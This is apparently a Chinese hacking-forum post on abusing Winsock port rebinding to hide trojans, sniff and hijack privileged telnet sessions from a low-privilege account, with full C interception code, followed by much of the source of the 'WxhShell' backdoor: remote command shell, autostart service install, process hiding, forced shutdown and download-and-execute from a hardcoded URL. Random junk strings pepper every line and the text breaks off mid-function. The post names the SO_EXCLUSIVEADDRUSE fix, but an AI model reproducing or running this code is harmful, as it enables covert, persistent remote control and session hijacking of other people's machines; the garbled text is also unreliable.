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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %{M_\Ae#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^eF%4DUC;  
o>Fc.$ngZ  
  saddr.sin_family = AF_INET; RWyDX_z#<  
Vo1,{"k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _FpZc ?=  
4Js2/s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;/-v4  
{tS^Q*F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "&$ [@c  
^:krfXT  
  这意味着什么?意味着可以进行如下的攻击: hA?Flq2QV  
0%x"Va~"z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hM_0/o-  
[D;wB|+,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n8h1S lK08  
\!-IY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _LVwjZX[  
U%.%:'eV=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g+( Cs  
[p&n]T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rE->z  
@*Y"[\"$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7(8i~}  
fEv`iXZG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 31VDlcn E  
m-xnbTcQ  
  #include 5Z8Zb.  
  #include +qPpPjG;  
  #include ,\){-H/n  
  #include    J#1-Le8@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U-~6<\Mf  
  int main() $ ,:3I*}be  
  {  w^Mj[v#  
  WORD wVersionRequested; 2SjH7 '  
  DWORD ret; cj[a^ ZH  
  WSADATA wsaData; Z--A:D>  
  BOOL val; c >O>|*I  
  SOCKADDR_IN saddr; kdgU1T@y.  
  SOCKADDR_IN scaddr; 0f_+h %%=  
  int err; ]n\Qa   
  SOCKET s; 9N+3S2sBx&  
  SOCKET sc; =D>,s)}o3;  
  int caddsize; QD8.C=2R  
  HANDLE mt; -RLY.@'d-M  
  DWORD tid;   VtTTvP3  
  wVersionRequested = MAKEWORD( 2, 2 ); Ym% $!#  
  err = WSAStartup( wVersionRequested, &wsaData ); 9#;GG3  
  if ( err != 0 ) { `7D]J*?`  
  printf("error!WSAStartup failed!\n"); Jn |sS(Q}  
  return -1; l+ ,p=  
  } Ux/|D_rlf  
  saddr.sin_family = AF_INET; lmGVSdo   
   eq" eLk6h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @~=*W5  
"_f~8f`y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2uCw[iZM  
  saddr.sin_port = htons(23); mRurGaR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k4C3SI*`4  
  { 3-=f@uH!  
  printf("error!socket failed!\n"); &g;&=<#I  
  return -1; *XU2%"Sc  
  } ?DGe}?pX  
  val = TRUE; @sr~&YhA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^@V; `jsll  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -$ VP#%  
  { CD! Aa  
  printf("error!setsockopt failed!\n"); +!~"o oQZh  
  return -1; K]{x0A  
  } @%^JB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #NyfE|MKBC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DXa!"ZU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i-jrF6&  
,<CFjtelO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6*aU^#Hz6  
  { =,Zkg(M  
  ret=GetLastError(); hl/) 1sOIR  
  printf("error!bind failed!\n"); FHK{cE  
  return -1; X7~^D[ X  
  } hEh` cBO  
  listen(s,2); %&5PZmnW  
  while(1) /g]NC?  
  { IDY2X+C#U  
  caddsize = sizeof(scaddr); !,cL c}a  
  //接受连接请求 QomihQnc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : MEB] }  
  if(sc!=INVALID_SOCKET) QM) ob  
  {  5(\H:g\z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |Wg!> g!  
  if(mt==NULL) E]P7u"1  
  { yg^ 4<A  
  printf("Thread Creat Failed!\n"); ]3\%i2NM  
  break; `x:O&2  
  } h(/& ;\Cr  
  } ^$AJV%3wI  
  CloseHandle(mt); %TeH#%[g>\  
  } &v/>P1Z G  
  closesocket(s); KU=+ 1,Jf  
  WSACleanup(); 9 _b_O T  
  return 0; BO,xA-+  
  }   Be~ '@  
  DWORD WINAPI ClientThread(LPVOID lpParam) aN;c.1TY  
  { -`A+Qp)  
  SOCKET ss = (SOCKET)lpParam; 8yC/:_ML  
  SOCKET sc; hDf!l$e.  
  unsigned char buf[4096]; *}'3|e4w}  
  SOCKADDR_IN saddr; S]Qf p,  
  long num; UrmnHc>}c  
  DWORD val; S8,e `F  
  DWORD ret; pSl4^$2XR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8~}~ d}wW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rU |%  
  saddr.sin_family = AF_INET; 3^,p$D<T:,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0aqq*e'c  
  saddr.sin_port = htons(23); Y D,<]q%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0JXXJ:dB  
  { [$D%]]/,  
  printf("error!socket failed!\n"); IcA]B?+  
  return -1; ]Om;bmwt  
  } 6W/uoH=;  
  val = 100; ;w<r/dK   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O9P4r*prA  
  { 0<)Ep~!  
  ret = GetLastError(); J(Fk@{!F.*  
  return -1; C({r1l4[D  
  } hEA;5-m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {rzvZ0-j}  
  { "H\R*\-0  
  ret = GetLastError(); B.4Or]  
  return -1; 98Y1-Z^ .  
  } RDOV+2K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oi7Y?hTj  
  { LYke\/ md  
  printf("error!socket connect failed!\n"); r@c!M|m@  
  closesocket(sc); +TC##}Zmb  
  closesocket(ss); Rjn%<R2nW  
  return -1; !q1XyQX  
  } E^B3MyS^^  
  while(1) ) S-Fuq4i4  
  { :0kKw=p1R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2Mu3] 2>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {^Rr:+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %x8vvcO^t  
  num = recv(ss,buf,4096,0); |,T"_R_K  
  if(num>0) ujLje:Yc  
  send(sc,buf,num,0); l:OXxHxRi  
  else if(num==0) o0_H(j?  
  break; n(9$)B_y  
  num = recv(sc,buf,4096,0); ~cf)wrP  
  if(num>0) K?u:-QX^  
  send(ss,buf,num,0); &],O\TAul  
  else if(num==0) Jow{7@FG  
  break; Q">wl  
  } 7|k2~\@q  
  closesocket(ss); $+ORq3  
  closesocket(sc); cv_t2m  
  return 0 ; : cPV08i  
  } fS3%  
XCT3:db  
%3yrX>Js  
========================================================== ~xJ ^YkyH  
`o0ISJeKp  
下边附上一个代码,,WXhSHELL 3uL$+F  
LX}|%- iv  
========================================================== y*E{X  
G_}oI|B  
#include "stdafx.h" 44pVZ5c  
`_x#`%!#2  
#include <stdio.h> mr,G H x  
#include <string.h> +hcJ!$J7  
#include <windows.h> +I@2,T(eG  
#include <winsock2.h> E(*S]Z[  
#include <winsvc.h> & j*Ylj}  
#include <urlmon.h> wj8\eK)]L  
BkB9u&s^  
#pragma comment (lib, "Ws2_32.lib") X=? \A{Y  
#pragma comment (lib, "urlmon.lib") | Pqs)Mb]  
ypNeTR$4  
#define MAX_USER   100 // 最大客户端连接数 ; hU9_e  
#define BUF_SOCK   200 // sock buffer CoV @{Pi  
#define KEY_BUFF   255 // 输入 buffer cqp^**s  
9t7 e~&R  
#define REBOOT     0   // 重启 ?lm<)y?I7+  
#define SHUTDOWN   1   // 关机  CVZ 4:p  
X;v{,P=J  
#define DEF_PORT   5000 // 监听端口 4M;S&LA  
Pr,C)uch  
#define REG_LEN     16   // 注册表键长度 _MTvNs  
#define SVC_LEN     80   // NT服务名长度 q)PSHr=Z  
yMOYTN@]  
// 从dll定义API D >kkA|>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UMH~Q`"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tPDB'S:&3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X^C $|:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]j.!   
w$`u_P|@E:  
// wxhshell配置信息 I.o3Old  
struct WSCFG { Xy9'JVV6  
  int ws_port;         // 监听端口 7'5/T]Z  
  char ws_passstr[REG_LEN]; // 口令 d;a"rq@a)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7o-}86x#  
  char ws_regname[REG_LEN]; // 注册表键名 J?Rp  
  char ws_svcname[REG_LEN]; // 服务名 V/ZWyYxjLi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @^`5;JiUk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iHWt;]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y*8;T v|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eTt{wn;6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5;[0Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w_YY~Af  
}'\M}YM  
}; z.W1Za  
7KtgR=-Lb  
// default Wxhshell configuration 4-\4G"4  
struct WSCFG wscfg={DEF_PORT, /sVmQqVY  
    "xuhuanlingzhe", K,*IfHi6[  
    1, k,y#|bf,Y  
    "Wxhshell", ">s0B5F7  
    "Wxhshell", kEg~yN  
            "WxhShell Service", :0Fwaw9PH"  
    "Wrsky Windows CmdShell Service", lb]k"L%KU7  
    "Please Input Your Password: ", Lya?b  
  1, ^1ks`1  
  "http://www.wrsky.com/wxhshell.exe", 6,]2;'  
  "Wxhshell.exe" ?#__#  
    }; #|lVQ@=  
QYWl`Yqf  
// 消息定义模块 $'lJ_ jL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K$M,d - `b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; & aF'IJC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FFH {#|_1  
char *msg_ws_ext="\n\rExit."; * =O@D2g0  
char *msg_ws_end="\n\rQuit."; gKb5W094@  
char *msg_ws_boot="\n\rReboot..."; *oIKddZh  
char *msg_ws_poff="\n\rShutdown..."; OmP(&t7  
char *msg_ws_down="\n\rSave to "; B^hK  
7p18;Z+6>X  
char *msg_ws_err="\n\rErr!"; $P&27  
char *msg_ws_ok="\n\rOK!"; :wJ!rn,4  
SHC VjI6  
char ExeFile[MAX_PATH]; T f^O(  
int nUser = 0; 16I(S  
HANDLE handles[MAX_USER]; B^1Io9  
int OsIsNt; GF Rd:e  
||?wRMV  
SERVICE_STATUS       serviceStatus; OL[_2m*;9p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q{.~=~  
%;G!gJeE  
// 函数声明 2K'}Vm+  
int Install(void); ^[zF IO  
int Uninstall(void); P q( )2B  
int DownloadFile(char *sURL, SOCKET wsh); S[uHPYhlA  
int Boot(int flag); m$$98N  
void HideProc(void); ix}*whW=U  
int GetOsVer(void); K9Pw10g'  
int Wxhshell(SOCKET wsl); t{/ EN)J  
void TalkWithClient(void *cs); 14\!FCe)!  
int CmdShell(SOCKET sock); o-t!z'\lO  
int StartFromService(void); yDw^xGws  
int StartWxhshell(LPSTR lpCmdLine); q}5&B =2pM  
PiIILX{DuH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0M>%1 *  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lc0ZfC  
dnTXx*I:  
// 数据结构和表定义 ?rV c}  
SERVICE_TABLE_ENTRY DispatchTable[] = 7h/{F({r=  
{ k<S!|  
{wscfg.ws_svcname, NTServiceMain}, 6d/b*,4[  
{NULL, NULL} 8%9OB5?F6  
}; jfrUOl'l  
4^B:Q9B)  
// 自我安装 >:P3j<xTv  
int Install(void) cl-i6[F  
{ Qod2m$>wp}  
  char svExeFile[MAX_PATH]; c[0$8F>  
  HKEY key; z'X_ s.9F  
  strcpy(svExeFile,ExeFile); :ui1]its4  
N:/$N@"Ge  
// 如果是win9x系统,修改注册表设为自启动 **O4"+Xi8  
if(!OsIsNt) { H\!u5o&}`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cjO,#W0&f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [G|2m_  
  RegCloseKey(key); IN]bAd8"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4B}w;d@R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bj7\{x,?  
  RegCloseKey(key); u]c nbm  
  return 0; UoxF00H@!  
    } s ^{j  
  } 9~mi[l~  
} `0Q:d'  
else { 7+u%]D!  
OiY2l;68  
// 如果是NT以上系统,安装为系统服务 0?t!tugG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @w:sNXz-  
if (schSCManager!=0) ;h3*MR  
{ &f qmO>M  
  SC_HANDLE schService = CreateService ;3sT>UB  
  ( U^0vLyqW^5  
  schSCManager, .< vg[  
  wscfg.ws_svcname, 7\U1K^q  
  wscfg.ws_svcdisp, /ADxHw`k  
  SERVICE_ALL_ACCESS, IJXH_H_%*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hOMFDfhU  
  SERVICE_AUTO_START, o-Idr{  
  SERVICE_ERROR_NORMAL, |/lIasI  
  svExeFile, HNuwq\w  
  NULL, e@,,;YO#4  
  NULL, j)IK  
  NULL, |2 wff?  
  NULL, xD?{Hw>QT#  
  NULL Tz L40="F  
  ); W@$p'IBwm  
  if (schService!=0) (\/HGxv  
  { v|,Hd  
  CloseServiceHandle(schService); v V^GIWK  
  CloseServiceHandle(schSCManager); q%:Jmi>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pmW=l/6+V3  
  strcat(svExeFile,wscfg.ws_svcname); Ft.BfgJ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sc~kO4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sqZHk+<%  
  RegCloseKey(key); A#  M  
  return 0; S s`0;D1  
    } e<^4F%jSK  
  } kyo ,yD  
  CloseServiceHandle(schSCManager); 56_KB.Ww~  
} Yg]f2ke  
} G[>-@9_b  
2aje$w-  
return 1; i)(Q Npv  
} ycAQPz}=I  
'qd")  
// 自我卸载 l*:p==  
int Uninstall(void) S8)awTA9  
{ cT0g, ^&  
  HKEY key; z:G9Uu3H(  
N~ozyIP,  
if(!OsIsNt) { -5ec8m8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y) t}%62  
  RegDeleteValue(key,wscfg.ws_regname); 6HqK%(  
  RegCloseKey(key); YYvs~?bAy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Rf5  
  RegDeleteValue(key,wscfg.ws_regname); }b^lg&$(  
  RegCloseKey(key); ^c7L!F  
  return 0; ]Ojt3) fB  
  } ::`j@ ]  
} GQZUC\cB  
} J;kbY9e  
else { j5)qF1W,  
7=AKQ7BB>b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vZDQ@\HrC  
if (schSCManager!=0) ` cv:p|s  
{ 5UM[Iz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5,((JxX$  
  if (schService!=0) 5k(#kyP  
  { 68!fcK  
  if(DeleteService(schService)!=0) { vxt^rBA  
  CloseServiceHandle(schService); ,RHHNTB("  
  CloseServiceHandle(schSCManager); A{o{o++  
  return 0; *sG<w%%  
  } -/qrEKQ0U?  
  CloseServiceHandle(schService); FT enXJ/c  
  } dCK -"#T!  
  CloseServiceHandle(schSCManager); HY:@=%R  
} |#B"j1D,H  
} 7A|jnm  
4>E2G:  
return 1; @&W?e?O ~G  
} C(P$,;6  
~<U3KB  
// 从指定url下载文件 t}FMBG o[  
int DownloadFile(char *sURL, SOCKET wsh) +J4t0x  
{ %dU}GYL_  
  HRESULT hr; /YbL{G )j}  
char seps[]= "/"; eBV{B70k  
char *token; y b G)=0  
char *file; i=a LC*@  
char myURL[MAX_PATH]; @6!JW(,]\  
char myFILE[MAX_PATH]; `+o.w#cl  
YC_^jRB8n  
strcpy(myURL,sURL); FTfA\/tl(;  
  token=strtok(myURL,seps); u@E M,o  
  while(token!=NULL) {EUH#':  
  { IXN4?=)I  
    file=token; M5V1j(URE  
  token=strtok(NULL,seps); | <*(`\ 'w  
  } !%X`c94  
z&0V21"l  
GetCurrentDirectory(MAX_PATH,myFILE); f.$o|R=v  
strcat(myFILE, "\\"); z)~!G~J]  
strcat(myFILE, file); Em;b,x*U  
  send(wsh,myFILE,strlen(myFILE),0); ]`XuE-Uh  
send(wsh,"...",3,0); 4Dia#1$:J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }BrE|'.j'  
  if(hr==S_OK) gNd J=r4  
return 0; M::iU_  
else  o %%fO  
return 1; `[&2K@u  
dE]"^O#Mc  
} >nDnb4 'C  
,]mwk~HeF  
// 系统电源模块 =R.9"7~2x  
int Boot(int flag) ks;wc"k"  
{ 5uer [1A  
  HANDLE hToken; }A7qIys$4  
  TOKEN_PRIVILEGES tkp; eLny-.i ,7  
0Y 2^}u@5  
  if(OsIsNt) { [BBKj)IK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F/SsiUBS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rk|(BA  
    tkp.PrivilegeCount = 1; b2e  a0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =.hDf<U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1}E@lOc  
if(flag==REBOOT) { {UBQ?7.jE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bedjw =B  
  return 0; ]P$DAi   
} <\g&%c,   
else { ~,68S^nP)H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ne7{{1  
  return 0; -<!17jy  
} 1>VS/H`  
  } p8dn-4  
  else { X); Zm7  
if(flag==REBOOT) { &;U7/?Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~UC/|t$  
  return 0; zD;] sk4  
} Te}yQ=+  
else { !u}3H|6~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AsLjU#jn  
  return 0; M%s$F@  
} ~vV )|  
} [?@wCY4=  
BkxhF  
return 1; DS}rFU  
} l6c%_<P|  
Lu39eO6  
// win9x进程隐藏模块 \%Rta$ O?S  
void HideProc(void) F ^t?*   
{ ,l .U^d6>  
N%A`rY}u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y!N)@y4  
  if ( hKernel != NULL ) ai jGz<  
  { 2^#UO=ct  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;sR6dT)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?_>^<1I1  
    FreeLibrary(hKernel); G=HxD4l  
  } NJf(,Mr*|  
RIEv*2_O  
return; 1bZiPG{  
} |cGeL[  
#S%Y; ilq  
// 获取操作系统版本 vj&5`  
int GetOsVer(void) 4t Nvq  
{ h+~df(S.  
  OSVERSIONINFO winfo; _G[I2]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h<1dTl*  
  GetVersionEx(&winfo); $7&l6~sMQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5f'g 3'  
  return 1; Va Yu%  
  else &^n> ZY,  
  return 0; rk,1am:cg  
} nH>V Da  
uy _i{Y|  
// 客户端句柄模块 &s^>S? L-  
int Wxhshell(SOCKET wsl) Ogke*qM  
{ Eu/y">;v#  
  SOCKET wsh; 72ViPWW  
  struct sockaddr_in client; Kq 4<l  
  DWORD myID; n_aNs]C9R  
^b!7R <>~  
  while(nUser<MAX_USER) mH*@d"  
{ 2Uv3_i<  
  int nSize=sizeof(client); (vAv^A*i}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |1+(Ny.%k  
  if(wsh==INVALID_SOCKET) return 1; r7"Au"  
gJ5wAK+?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vdT+,x`  
if(handles[nUser]==0) Rw}2*5#y  
  closesocket(wsh); *e3L4 7"G  
else *rn]/w8ZW  
  nUser++; }d~wDg<#  
  } mKq<'t]^k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;eW'}&|LV  
|5~wwL@LW7  
  return 0; f']sU/c=  
} ri<'-wi  
XK%W^a*x  
// 关闭 socket }or2 $\>m  
void CloseIt(SOCKET wsh) L+L"$  
{ `Ix s7{&jU  
closesocket(wsh); #K#Mv /  
nUser--; `xX4!^0Hm  
ExitThread(0); Xvu)  
} P 0Efh?oZ  
Y$x"4=~  
// 客户端请求句柄 R] Disljq  
void TalkWithClient(void *cs) KIKq9*  
{ nEd M_JPv  
I[=Wmxa?r  
  SOCKET wsh=(SOCKET)cs; 4Hml.|$  
  char pwd[SVC_LEN]; OgKWgvy  
  char cmd[KEY_BUFF]; 0Q$~k  
char chr[1]; 'je8k7`VA  
int i,j; ] ^; b  
B9LSxB  
  while (nUser < MAX_USER) { R2N^'  
*f`s%&Y]s  
if(wscfg.ws_passstr) { i0'Xy>l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U+.PuC[3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .>kccLr:z  
  //ZeroMemory(pwd,KEY_BUFF); t}]9VD9  
      i=0; XhE$&Ff  
  while(i<SVC_LEN) { abICoP1zQ  
,Um5S6 Z  
  // 设置超时 TZh\#dp4l  
  fd_set FdRead; 6; 5)/q  
  struct timeval TimeOut; n9kd2[s|  
  FD_ZERO(&FdRead); |7QVMFZ  
  FD_SET(wsh,&FdRead); 7MO  
  TimeOut.tv_sec=8; U~{Sa+  
  TimeOut.tv_usec=0; gb=80s0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YER:ICQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZI58XS+  
DYo<5^0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wi\z>'R  
  pwd=chr[0]; Y_[g_  
  if(chr[0]==0xd || chr[0]==0xa) { 068WlF cWV  
  pwd=0; y _'eyR@)  
  break; C~ZE95g  
  } X2 \E9hJg  
  i++; X)Dqeb6  
    } UsLh)#}h  
"JzfL(yt  
  // 如果是非法用户,关闭 socket S9G8aea/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BgJkrv7~  
} %"l81z  
M'cJ)-G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uX[O,l^}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e1%rVQ(v  
Job/@> ;  
while(1) { M8 iEVJ  
YO@hE>  
  ZeroMemory(cmd,KEY_BUFF); n 5~=qQK2  
CgVh\4,a  
      // 自动支持客户端 telnet标准   <\, & :<  
  j=0; UvPp~N 7,  
  while(j<KEY_BUFF) { gf0PMc3l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /:#j ?c  
  cmd[j]=chr[0]; :v#k&Uh3y  
  if(chr[0]==0xa || chr[0]==0xd) { W *YW6  
  cmd[j]=0; j6n2dMRvSE  
  break; #"Fg%36Zd  
  } 99F>n[5  
  j++; 4@DVc7\x$  
    } D^,\cZbY  
M'\pkzx  
  // 下载文件 <^ #P6  
  if(strstr(cmd,"http://")) { T?H\&2CLT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZJ^s}  
  if(DownloadFile(cmd,wsh)) 0SJ{@*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7'_nc!ME  
  else Sdgb#?MR|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1KW3l<v-6  
  } HR[Q ?rg  
  else { 5{')GTdX>  
"w*@R8v  
    switch(cmd[0]) { shM{Y9~O9&  
  =MMCf0  
  // 帮助 HS{P?~:=U  
  case '?': { d4ic9u*D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ (i*-u3Tq  
    break; 8dc538:q}  
  } _kh>Z  
  // 安装 BiA >QQ  
  case 'i': { Ru)(dvk}S  
    if(Install()) e@[9C(5E"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >RM 0=bO  
    else [/?c@N,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v-ThdE$G#  
    break; ^[en3aQ  
    } 6/|U  
  // 卸载 c2/FHI0J;  
  case 'r': { rW[SU:  
    if(Uninstall()) 'yE*|Sx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?#4+r_dP  
    else bKYY{V55  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AvZXRN1:'  
    break; N].4"0Jv-D  
    } KZECo1  
  // 显示 wxhshell 所在路径 ,SAbC*nq  
  case 'p': { Y\.DQ  
    char svExeFile[MAX_PATH]; 6%>/og\%  
    strcpy(svExeFile,"\n\r"); _~ v-:w  
      strcat(svExeFile,ExeFile); w-lrnjs  
        send(wsh,svExeFile,strlen(svExeFile),0); ^Ss<X}es-  
    break; !@( M_Z'  
    } 77``8,  
  // 重启 6!Qknk$  
  case 'b': { YQ52~M0L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ b@!dS  
    if(Boot(REBOOT)) ?F1wh2o q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "s% 686Vz  
    else { B jYOfu'~z  
    closesocket(wsh); H;qJH1EdD  
    ExitThread(0); )+?HI^-[S  
    } _ ~|Q4AJ  
    break; {-Yee[d<?  
    } <p09oZ{6  
  // 关机 [ qiOd!  
